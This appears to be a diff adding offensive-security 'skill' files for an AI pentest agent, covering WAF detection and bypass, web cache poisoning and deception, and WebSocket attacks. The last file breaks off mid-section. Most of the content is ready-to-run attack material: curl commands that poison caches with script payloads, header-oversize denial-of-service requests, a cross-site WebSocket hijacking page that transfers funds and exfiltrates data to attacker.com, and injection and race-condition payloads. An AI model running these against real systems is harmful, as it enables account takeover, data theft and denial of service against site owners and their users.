- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# WAF Detection and Bypass
|
|
4
|
+
|
|
5
|
+
## Overview
|
|
6
|
+
Before running any exploitation attempts, you MUST detect if a WAF (Web Application Firewall) is present. Failing to do so can lead to:
|
|
7
|
+
- IP blocking/banning
|
|
8
|
+
- False negatives (legitimate vulnerabilities missed)
|
|
9
|
+
- Rate limiting that stalls your testing
|
|
10
|
+
|
|
11
|
+
## Detection Tools
|
|
12
|
+
|
|
13
|
+
### 1. wafw00f (Primary)
|
|
14
|
+
```bash
|
|
15
|
+
wafw00f https://target.com
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
### 2. WhatWaf
|
|
19
|
+
```bash
|
|
20
|
+
whatwaf -u https://target.com
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
### 3. Manual Detection
|
|
24
|
+
Check for WAF indicators in response headers:
|
|
25
|
+
- `Server:`
|
|
26
|
+
- `X-Cdn:`
|
|
27
|
+
- `X-Sucuri-ID:`
|
|
28
|
+
- `X-Debug:`
|
|
29
|
+
|
|
30
|
+
Check response body for WAF block pages:
|
|
31
|
+
- "403 Forbidden"
|
|
32
|
+
- "Access Denied"
|
|
33
|
+
- "Security Check"
|
|
34
|
+
- "Attack Detected"
|
|
35
|
+
|
|
36
|
+
## Common WAF Signatures
|
|
37
|
+
|
|
38
|
+
| WAF | Detection Fingerprint |
|
|
39
|
+
|-----|----------------------|
|
|
40
|
+
| Cloudflare | `__cfduid`, `cf-ray`, server: `cloudflare` |
|
|
41
|
+
| AWS WAF | `X-Amzn-Trace-Id`, `aws-waf` |
|
|
42
|
+
| Azure WAF | `server: Microsoft-IIS` with `az` headers |
|
|
43
|
+
| Akamai | `AkamaiGHost`, `akamai-origin-hop` |
|
|
44
|
+
| Imperva | `X-CDN`, `X-Iinfo` |
|
|
45
|
+
| Sucuri | `X-Sucuri-ID`, `X-Sucuri-Block` |
|
|
46
|
+
| ModSecurity | `server: ModSecurity` |
|
|
47
|
+
| F5 ASM | `X-Correlation-ID`, `TS` cookie |
|
|
48
|
+
|
|
49
|
+
## Bypass Techniques
|
|
50
|
+
|
|
51
|
+
### HTTP Parameter Pollution
|
|
52
|
+
```
|
|
53
|
+
?id=1&id=2
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### Case Variation
|
|
57
|
+
```
|
|
58
|
+
/Admin login
|
|
59
|
+
/admin Login
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### Encoding
|
|
63
|
+
- URL encode special characters
|
|
64
|
+
- Double URL encode
|
|
65
|
+
- Unicode variations
|
|
66
|
+
|
|
67
|
+
### Protocol Switching
|
|
68
|
+
- HTTP/1.0 instead of 1.1
|
|
69
|
+
- Use Host header variations
|
|
70
|
+
|
|
71
|
+
### Timing Attacks
|
|
72
|
+
- Add delays between requests
|
|
73
|
+
- Slowloris to bypass rate limits
|
|
74
|
+
|
|
75
|
+
## Workflow
|
|
76
|
+
|
|
77
|
+
1. **RECON PHASE**: Run wafw00f before exploitation
|
|
78
|
+
2. **IF WAF DETECTED**:
|
|
79
|
+
- Note the WAF type
|
|
80
|
+
- Select appropriate bypass payloads
|
|
81
|
+
- Implement delays between requests
|
|
82
|
+
- Consider using different IP/source
|
|
83
|
+
3. **DOCUMENT**: Save WAF results to output/waf_detection.txt
|
|
84
|
+
|
|
85
|
+
## Important Notes
|
|
86
|
+
|
|
87
|
+
- NEVER spam requests - you'll get blocked
|
|
88
|
+
- Use `httpx` or `curl` first to check response
|
|
89
|
+
- Some WAFs only block on specific attack patterns
|
|
90
|
+
- Cloudflare requires special handling (may need to bypass JS challenge)
|
|
@@ -0,0 +1,233 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: web-cache-poisoning
|
|
5
|
+
description: Web cache poisoning and cache deception attacks covering unkeyed headers, fat GET, parameter cloaking, CPDoS, and path normalization
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Web Cache Poisoning & Cache Deception
|
|
9
|
+
|
|
10
|
+
Cache attacks work by making the cache store and serve a malicious response to other users, or by tricking the cache into serving another user's private data to the attacker. Impact: stored XSS across the entire application, account takeover, DoS.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Core Concepts
|
|
15
|
+
|
|
16
|
+
Cache Key = combination of request parameters the cache uses to identify a unique response.
|
|
17
|
+
Attack: inject something INTO the response via an unkeyed input → cache serves that poisoned response to everyone.
|
|
18
|
+
|
|
19
|
+
Two attack families:
|
|
20
|
+
- Cache Poisoning: poison the cache with your malicious input → victim receives it
|
|
21
|
+
- Cache Deception: trick the cache into storing a victim's private response → attacker reads it
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## Reconnaissance
|
|
26
|
+
|
|
27
|
+
### Identify Caching Behavior
|
|
28
|
+
|
|
29
|
+
# Look for cache indicators in response headers
|
|
30
|
+
curl -sI https://target.com/ | grep -iE "cache|x-cache|cf-cache|age|cdn|varnish|surrogate"
|
|
31
|
+
|
|
32
|
+
# Send same request twice — if Age: increases or X-Cache: HIT, it's cached
|
|
33
|
+
curl -sI https://target.com/ | grep -i "x-cache\|age\|cf-cache"
|
|
34
|
+
|
|
35
|
+
# Cache-busting: add unique param to get fresh response
|
|
36
|
+
curl -sI "https://target.com/?cb=$(date +%s)"
|
|
37
|
+
|
|
38
|
+
### Discover Unkeyed Inputs
|
|
39
|
+
|
|
40
|
+
# Automated: param-miner equivalent via web_search for "param miner burp extension"
|
|
41
|
+
# Manual: test common unkeyed headers
|
|
42
|
+
|
|
43
|
+
for header in "X-Forwarded-Host" "X-Host" "X-Forwarded-Server" "X-HTTP-Host-Override" \
|
|
44
|
+
"X-Original-URL" "X-Rewrite-URL" "X-Forwarded-For" "X-Real-IP" \
|
|
45
|
+
"X-Original-Host" "Forwarded" "X-Forwarded-Proto"; do
|
|
46
|
+
response=$(curl -sI "https://target.com/?cb=$(date +%s)" -H "$header: evil.com")
|
|
47
|
+
if echo "$response" | grep -q "evil.com"; then
|
|
48
|
+
echo "REFLECTED: $header"
|
|
49
|
+
fi
|
|
50
|
+
done
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## Cache Poisoning Attacks
|
|
55
|
+
|
|
56
|
+
### X-Forwarded-Host Injection
|
|
57
|
+
|
|
58
|
+
Most common. Server uses this header to generate absolute URLs (password reset links, JS URLs):
|
|
59
|
+
|
|
60
|
+
# Test reflection
|
|
61
|
+
curl -s "https://target.com/?cb=1" -H "X-Forwarded-Host: evil.com" | grep "evil.com"
|
|
62
|
+
|
|
63
|
+
# If reflected in script src or link href:
|
|
64
|
+
# Poison: serve malicious JS from evil.com
|
|
65
|
+
curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com"
|
|
66
|
+
|
|
67
|
+
# Impact: all cached pages serve JS from evil.com → XSS for every visitor
|
|
68
|
+
|
|
69
|
+
### X-Forwarded-For / X-Real-IP Injection
|
|
70
|
+
|
|
71
|
+
Some apps render IP in response for analytics or debug:
|
|
72
|
+
|
|
73
|
+
curl -s "https://target.com/" -H "X-Forwarded-For: \"><script>alert(1)</script>"
|
|
74
|
+
|
|
75
|
+
### Unkeyed Query Parameters
|
|
76
|
+
|
|
77
|
+
# Find params excluded from cache key
|
|
78
|
+
# Try: utm_*, _ga, fbclid, ref, source — often stripped from cache key but reflected in response
|
|
79
|
+
|
|
80
|
+
curl -s "https://target.com/?utm_content=<script>alert(1)</script>" | grep "script"
|
|
81
|
+
|
|
82
|
+
# If reflected, poison with unique CB param that's keyed:
|
|
83
|
+
curl -s "https://target.com/?utm_content=<script>alert(1)</script>&normalcb=unique"
|
|
84
|
+
|
|
85
|
+
### Fat GET Request
|
|
86
|
+
|
|
87
|
+
Some caches key on URL only but backend parses body of GET request:
|
|
88
|
+
|
|
89
|
+
curl -s -X GET "https://target.com/" \
|
|
90
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
91
|
+
-d "param=<script>alert(1)</script>"
|
|
92
|
+
|
|
93
|
+
### Cache Key Injection (Header Splitting)
|
|
94
|
+
|
|
95
|
+
# Inject cache key separator to create a new cache entry
|
|
96
|
+
curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com\r\nX-Cache-Key: injected"
|
|
97
|
+
|
|
98
|
+
### Parameter Cloaking
|
|
99
|
+
|
|
100
|
+
Discrepancy between how the CDN and origin parse query strings:
|
|
101
|
+
|
|
102
|
+
# CDN sees: ?search=clean¶m=value
|
|
103
|
+
# Origin (Node/Ruby/PHP) sees last duplicate: ?param=evil
|
|
104
|
+
curl -s "https://target.com/?search=clean;param=evil" | grep "evil"
|
|
105
|
+
curl -s "https://target.com/?search=clean%26param=evil" | grep "evil"
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## Cache Deception
|
|
110
|
+
|
|
111
|
+
Trick the cache into storing the victim's authenticated response so the attacker can read it.
|
|
112
|
+
|
|
113
|
+
### Path Confusion
|
|
114
|
+
|
|
115
|
+
Cache caches based on file extension (.css, .js, .png) regardless of actual content:
|
|
116
|
+
|
|
117
|
+
# Visit: /account/settings.css
|
|
118
|
+
# Cache stores it thinking it's CSS
|
|
119
|
+
# Attacker reads: /account/settings.css → gets victim's account page
|
|
120
|
+
|
|
121
|
+
# Test: append static-looking suffix after authenticated path
|
|
122
|
+
for suffix in ".css" ".js" ".png" ".ico" ".woff" "/null.js" "/index.css"; do
|
|
123
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://target.com/api/user$suffix" \
|
|
124
|
+
-H "Authorization: Bearer <token>")
|
|
125
|
+
cached=$(curl -sI "https://target.com/api/user$suffix" | grep -i "x-cache\|age" | head -1)
|
|
126
|
+
echo "$suffix → HTTP $code | $cached"
|
|
127
|
+
done
|
|
128
|
+
|
|
129
|
+
### Cache Rules Misalignment
|
|
130
|
+
|
|
131
|
+
# If /static/* is cached but server serves JSON for /static/../api/user
|
|
132
|
+
curl -s "https://target.com/static/../api/user" -H "Authorization: Bearer <victim_token>"
|
|
133
|
+
# Then attacker reads cached response without token
|
|
134
|
+
|
|
135
|
+
### Normalized Path Confusion
|
|
136
|
+
|
|
137
|
+
# Server normalizes: /account/..%2Fstatic%2Fstyle.css → /static/style.css
|
|
138
|
+
# Cache caches based on raw URL → stores as /account/..%2Fstatic%2Fstyle.css
|
|
139
|
+
# Victim's authenticated version gets cached under that key
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## CPDoS (Cache Poisoned Denial of Service)
|
|
144
|
+
|
|
145
|
+
Poison cache with error responses to deny service to all users:
|
|
146
|
+
|
|
147
|
+
# HHO — HTTP Header Oversize
|
|
148
|
+
# Send request with very long header → 400 error cached by CDN
|
|
149
|
+
curl -s "https://target.com/" -H "X-Crash: $(python3 -c "print('A'*8192)")"
|
|
150
|
+
|
|
151
|
+
# HMC — HTTP Meta Characters
|
|
152
|
+
curl -s "https://target.com/" -H $'X-Meta: test\r\nContent-Length: 0'
|
|
153
|
+
|
|
154
|
+
# SCP — Site Cache Poisoning via method
|
|
155
|
+
curl -s -X DELETE "https://target.com/" | head -5
|
|
156
|
+
# If 405 is cached → DoS
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## Detecting Cache Scope
|
|
161
|
+
|
|
162
|
+
# Determine what varies the cache key
|
|
163
|
+
# Same URL, different Accept-Language → different response? → Language in key
|
|
164
|
+
curl -sI "https://target.com/?cb=test1" -H "Accept-Language: fr"
|
|
165
|
+
curl -sI "https://target.com/?cb=test1" -H "Accept-Language: en"
|
|
166
|
+
|
|
167
|
+
# Cookie in key?
|
|
168
|
+
curl -sI "https://target.com/" -H "Cookie: session=abc123"
|
|
169
|
+
|
|
170
|
+
# User-Agent in key?
|
|
171
|
+
curl -sI "https://target.com/" -H "User-Agent: Mozilla/5.0"
|
|
172
|
+
curl -sI "https://target.com/" -H "User-Agent: Googlebot"
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## Automation
|
|
177
|
+
|
|
178
|
+
# nuclei cache poisoning templates
|
|
179
|
+
nuclei -u https://target.com -t /home/pentester/nuclei-templates/vulnerabilities/other/ \
|
|
180
|
+
-tags cache -o output/cache_nuclei.txt
|
|
181
|
+
|
|
182
|
+
# toxicache — dedicated cache poisoning tool
|
|
183
|
+
toxicache -u https://target.com
|
|
184
|
+
|
|
185
|
+
# Custom header fuzzer for unkeyed inputs
|
|
186
|
+
python3 tools/cache_header_fuzz.py https://target.com
|
|
187
|
+
|
|
188
|
+
Example script (`tools/cache_header_fuzz.py`):
|
|
189
|
+
|
|
190
|
+
#!/usr/bin/env python3
|
|
191
|
+
import requests, sys
|
|
192
|
+
TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
|
|
193
|
+
HEADERS_TO_TEST = [
|
|
194
|
+
"X-Forwarded-Host", "X-Host", "X-Forwarded-Server",
|
|
195
|
+
"X-Original-URL", "X-Rewrite-URL", "Forwarded",
|
|
196
|
+
"X-Forwarded-For", "X-Real-IP", "X-Custom-IP-Authorization",
|
|
197
|
+
"X-Original-Host", "X-HTTP-Host-Override", "X-Forwarded-Proto",
|
|
198
|
+
]
|
|
199
|
+
CANARY = "evil.example.com"
|
|
200
|
+
results = []
|
|
201
|
+
for h in HEADERS_TO_TEST:
|
|
202
|
+
import time; cb = str(int(time.time()*1000))
|
|
203
|
+
r = requests.get(f"{TARGET}?cb={cb}", headers={h: CANARY}, timeout=10)
|
|
204
|
+
reflected = CANARY in r.text
|
|
205
|
+
results.append(f"{'REFLECTED' if reflected else 'not reflected'} | {h}")
|
|
206
|
+
print(results[-1])
|
|
207
|
+
with open("output/cache_fuzz.txt","w") as f:
|
|
208
|
+
f.write("\n".join(results))
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Validation
|
|
213
|
+
|
|
214
|
+
1. Confirm cache stores your poisoned response: make poisoning request, then fetch WITHOUT the injection header — does the canary appear?
|
|
215
|
+
2. Test from a different IP/session to confirm it's served to other users
|
|
216
|
+
3. For Cache Deception: log in as victim, visit deception URL, log out, access same URL unauthenticated — does victim data appear?
|
|
217
|
+
4. Demonstrate impact: XSS execution, credential/token exposure, or service disruption
|
|
218
|
+
|
|
219
|
+
---
|
|
220
|
+
|
|
221
|
+
## Pro Tips
|
|
222
|
+
|
|
223
|
+
1. Always use a cache-buster param when testing to avoid poisoning production by accident
|
|
224
|
+
2. X-Forwarded-Host is reflected in ~30% of CDN-backed apps — test it first
|
|
225
|
+
3. Unkeyed parameters: UTM params (utm_source, utm_campaign) are almost universally unkeyed
|
|
226
|
+
4. Check password reset flows — if reset URL uses X-Forwarded-Host, cache poison → steal reset links
|
|
227
|
+
5. Cache deception on `/profile.css` is an instant account takeover if session data is returned
|
|
228
|
+
6. CPDoS with HHO (oversized header) is the easiest to test and often overlooked by defenders
|
|
229
|
+
7. After finding an unkeyed header, check what it controls: JS URLs, redirect targets, or meta refresh → highest impact
|
|
230
|
+
|
|
231
|
+
## Summary
|
|
232
|
+
|
|
233
|
+
Cache poisoning = find unkeyed input → confirm it's reflected → make cacheable → observe cache serving it to others. Cache deception = append static extension to private endpoint → visit as victim → read from cache as attacker. Both require proof via second-user fetch to confirm real impact.
|
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: websocket
|
|
5
|
+
description: Exploitation techniques for WebSockets including CSWSH, Smuggling, Auth bypass, and Injection attacks.
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# WebSocket Vulnerabilities
|
|
9
|
+
|
|
10
|
+
WebSockets provide full-duplex communication channels over a single TCP connection. Because they differ significantly from standard HTTP request-response patterns, they often bypass traditional security controls (like WAFs) and suffer from unique implementation flaws ranging from Cross-Site WebSocket Hijacking (CSWSH) to complex smuggling and injection attacks.
|
|
11
|
+
|
|
12
|
+
## Core Concepts & The Handshake
|
|
13
|
+
|
|
14
|
+
A WebSocket connection begins with an HTTP/1.1 Upgrade request.
|
|
15
|
+
|
|
16
|
+
```http
|
|
17
|
+
GET /chat HTTP/1.1
|
|
18
|
+
Host: target.com
|
|
19
|
+
Upgrade: websocket
|
|
20
|
+
Connection: Upgrade
|
|
21
|
+
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
|
|
22
|
+
Sec-WebSocket-Version: 13
|
|
23
|
+
Origin: https://target.com
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
If successful, the server responds with a `101 Switching Protocols`:
|
|
27
|
+
|
|
28
|
+
```http
|
|
29
|
+
HTTP/1.1 101 Switching Protocols
|
|
30
|
+
Upgrade: websocket
|
|
31
|
+
Connection: Upgrade
|
|
32
|
+
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
Once established, data is transmitted in binary or text frames. Both directions can send data independently.
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## 1. Cross-Site WebSocket Hijacking (CSWSH)
|
|
40
|
+
|
|
41
|
+
CSWSH is the WebSocket equivalent of CSRF. If the WebSocket handshake relies *solely* on surrounding HTTP context (like ambient Cookies or HTTP Basic Auth) for authentication and does not validate the `Origin` header or use anti-CSRF tokens, an attacker can initiate a WebSocket connection from their own domain on behalf of the victim.
|
|
42
|
+
|
|
43
|
+
**Mechanism:**
|
|
44
|
+
1. Victim logs into `target.com` (session cookie is set).
|
|
45
|
+
2. Victim visits `attacker.com`.
|
|
46
|
+
3. `attacker.com` executes JavaScript to open a WebSocket to `wss://target.com/ws`.
|
|
47
|
+
4. The browser automatically attaches the victim's session cookies to the handshake.
|
|
48
|
+
5. If `target.com` doesn't validate the `Origin: https://attacker.com` header or require a token in the initial message/URL, the connection succeeds.
|
|
49
|
+
6. The attacker can now send and receive frames as the victim.
|
|
50
|
+
|
|
51
|
+
**Exploitation (Attacker's Server):**
|
|
52
|
+
```html
|
|
53
|
+
<script>
|
|
54
|
+
// Open WebSocket to the vulnerable target
|
|
55
|
+
var ws = new WebSocket('wss://target.com/ws');
|
|
56
|
+
|
|
57
|
+
ws.onopen = function() {
|
|
58
|
+
console.log('CSWSH Successful!');
|
|
59
|
+
// Send malicious action
|
|
60
|
+
ws.send(JSON.stringify({action: 'transfer_funds', amount: 10000, to: 'attacker'}));
|
|
61
|
+
};
|
|
62
|
+
|
|
63
|
+
ws.onmessage = function(event) {
|
|
64
|
+
// Exfiltrate received data (e.g., chat history, API keys) back to attacker
|
|
65
|
+
fetch('https://attacker.com/exfil?data=' + btoa(event.data));
|
|
66
|
+
};
|
|
67
|
+
</script>
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
**Bypassing Weak Origin Checks:**
|
|
71
|
+
- Null Origin: Send from an iframe with a `data:` URI to send `Origin: null`.
|
|
72
|
+
- Subdomain Match: If checking `.target.com`, bypass with `attacker-target.com`.
|
|
73
|
+
- Trailing Slashes/Ports test.
|
|
74
|
+
|
|
75
|
+
---
|
|
76
|
+
|
|
77
|
+
## 2. Authorization and Authentication Bypass
|
|
78
|
+
|
|
79
|
+
A common misconception is that the initial HTTP handshake secures the *entire lifecycle* of the WebSocket connection.
|
|
80
|
+
|
|
81
|
+
**Vulnerability Patterns:**
|
|
82
|
+
1. **Per-Message Missing Authorization:** The handshake validates the session, but individual frames requesting privileged actions (e.g., `{"type": "delete_user", "id": 5}`) do not check if the user is an admin.
|
|
83
|
+
2. **Channel Subscription Bypass:** WebSockets often use "channels" (e.g., GraphQL subscriptions, ActionCable). If a user sends a poorly validated `{"subscribe": "admin_channel"}`, they might receive broadcasted admin data without authorization checks.
|
|
84
|
+
3. **Session Expiration Ignored:** If the HTTP session expires or the user logs out, the existing long-lived WebSocket connection often remains active.
|
|
85
|
+
|
|
86
|
+
**Testing:**
|
|
87
|
+
- Intercept the WebSocket frame using Burp Suite or custom scripts.
|
|
88
|
+
- Modify identifiers, user IDs, or role fields in the JSON payload.
|
|
89
|
+
- Attempt to subscribe to hidden, administrative, or other user's channels (e.g., `{"channel": "user_1337_private"}`).
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## 3. WebSocket Smuggling and Desync Attacks
|
|
94
|
+
|
|
95
|
+
WebSockets can interact disastrously with reverse proxies and load balancers. If the frontend proxy and backend server disagree on whether a connection was successfully upgraded, smuggling occurs.
|
|
96
|
+
|
|
97
|
+
**Attack Vector (Varnish / Nginx Misconfigurations):**
|
|
98
|
+
If a reverse proxy blindly routes the `Upgrade: websocket` header but the backend server rejects it (or doesn't support WebSockets), the frontend might still treat the TCP connection as a raw TCP tunnel, while the backend treats it as an HTTP connection waiting for the next request (HTTP Keep-Alive).
|
|
99
|
+
|
|
100
|
+
**Exploitation:**
|
|
101
|
+
1. Attacker sends an HTTP request claiming to Upgrade to WebSocket.
|
|
102
|
+
2. Inside the "WebSocket" body (which is actually sent as cleartext, as the backend didn't upgrade), the attacker smuggles a secondary HTTP request.
|
|
103
|
+
3. The backend processes the smuggled request. Since the frontend thinks it's a WebSocket tunnel, the attacker can receive the HTTP response directly or poison another user's request.
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## 4. Injection Attacks via WebSockets (SQLi, XSS, OS Command)
|
|
108
|
+
|
|
109
|
+
Because WebSocket frames don't pass through standard HTTP WAFs (which often only inspect HTTP headers, query parameters, and standard POST bodies), they are a prime vector for bypassing perimeter security to deliver injection payloads directly to the application logic.
|
|
110
|
+
|
|
111
|
+
**Testing:**
|
|
112
|
+
WebSockets often carry JSON, XML, or custom binary structures.
|
|
113
|
+
- **SQL Injection:** If a frame contains `{"user_id": 12}`, alter it to `{"user_id": "12 OR 1=1"}`. Assess the returned frames for DB errors or changed logic.
|
|
114
|
+
- **Blind XSS/Stored XSS:** Chat applications often echo WebSocket input to other connected clients. Injecting `<svg/onload=alert(1)>` via a WebSocket frame will execute on the victim's browser when broadcasted.
|
|
115
|
+
- **OS Command Injection:** E.g., `{"command": "ping", "target": "8.8.8.8; id"}`.
|
|
116
|
+
- **NoSQL Injection:** E.g., `{"query": {"$ne": null}}`.
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## 5. Denial of Service (DoS)
|
|
121
|
+
|
|
122
|
+
WebSocket connections map 1:1 to process threads or file descriptors in many server implementations.
|
|
123
|
+
|
|
124
|
+
- **Connection Exhaustion (Slowloris over WS):** Opening thousands of connections and sending a frame every 5 minutes keeps the connections alive, exhausting server resources.
|
|
125
|
+
- **Payload Size Exploitation:** Sending massive frames (e.g., 50MB of garbage data). If the server attempts to parse or allocate memory for the entire payload before processing, it will crash (OOM).
|
|
126
|
+
- **Asymmetric processing:** Sending a very small WebSocket frame that triggers a computationally expensive backend database query or API call, then dropping the connection and repeating.
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## 6. Race Conditions over WebSockets
|
|
131
|
+
|
|
132
|
+
Because WebSockets are asynchronous and full-duplex, multiple frames can be sent in rapid succession before the server has time to lock resources or update state (e.g., deducting an account balance).
|
|
133
|
+
|
|
134
|
+
**Exploitation (Turbo Intruder / Scripting):**
|
|
135
|
+
Launch multiple identical frames over the *same* WebSocket connection, or across multiple simultaneous connections, to exploit Time-of-Check to Time-of-Use (TOCTOU) flaws.
|
|
136
|
+
|
|
137
|
+
```javascript
|
|
138
|
+
// Send 20 discount usage requests in 1 millisecond
|
|
139
|
+
let ws = new WebSocket("wss://target.com/ecommerce");
|
|
140
|
+
ws.onopen = function() {
|
|
141
|
+
for(let i=0; i<20; i++){
|
|
142
|
+
ws.send(JSON.stringify({"action":"apply_discount", "code":"SUMMER50"}));
|
|
143
|
+
}
|
|
144
|
+
}
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## 7. WebSockets over HTTP/2 (RFC 8441)
|
|
150
|
+
|
|
151
|
+
HTTP/2 multiplexes multiple streams over a single TCP connection. RFC 8441 allows WebSockets to operate over HTTP/2 streams (`CONNECT` method with `:protocol: websocket` pseudo-header).
|
|
152
|
+
- **Desync via H2:** If a backend downgrades HTTP/2 to HTTP/1.1 poorly, injecting frame boundaries into the HTTP/2 stream can result in HTTP/1.1 request smuggling.
|
|
153
|
+
|
|
154
|
+
## Testing Methodology
|
|
155
|
+
|
|
156
|
+
1. **Discovery:** Look for `ws://` or `wss://` in JS files, or filter Burp/ZAP history for `101 Switching Protocols`.
|
|
157
|
+
2. **CSWSH Check:** Replay the initial HTTP handshake request with a modified or missing `Origin` header. If the server responds with a `101`, test if you can successfully send/receive data.
|
|
158
|
+
3. **WAF Bypass Validation:** Send standard SQLi/XSS payloads over HTTP. If blocked, send the exact same payloads via the WebSocket channel.
|
|
159
|
+
4. **Fuzzing Frames:** Use tools like `wscat` or Burp's WebSocket message interception to fuzz JSON keys, values, and frame sizes.
|
|
160
|
+
5. **Authorization Matrix:** Open two connections with different privilege levels. Attempt to send privileged structure templates from the lower-privileged connection.
|
|
161
|
+
|
|
162
|
+
## Detection Tools
|
|
163
|
+
|
|
164
|
+
```bash
|
|
165
|
+
# wscat - CLI wrapper for interacting with WebSockets natively
|
|
166
|
+
wscat -c wss://target.com/ws -H "Origin: https://attacker.com"
|
|
167
|
+
|
|
168
|
+
# SQLMap - Can be tunneled through a WebSocket proxy
|
|
169
|
+
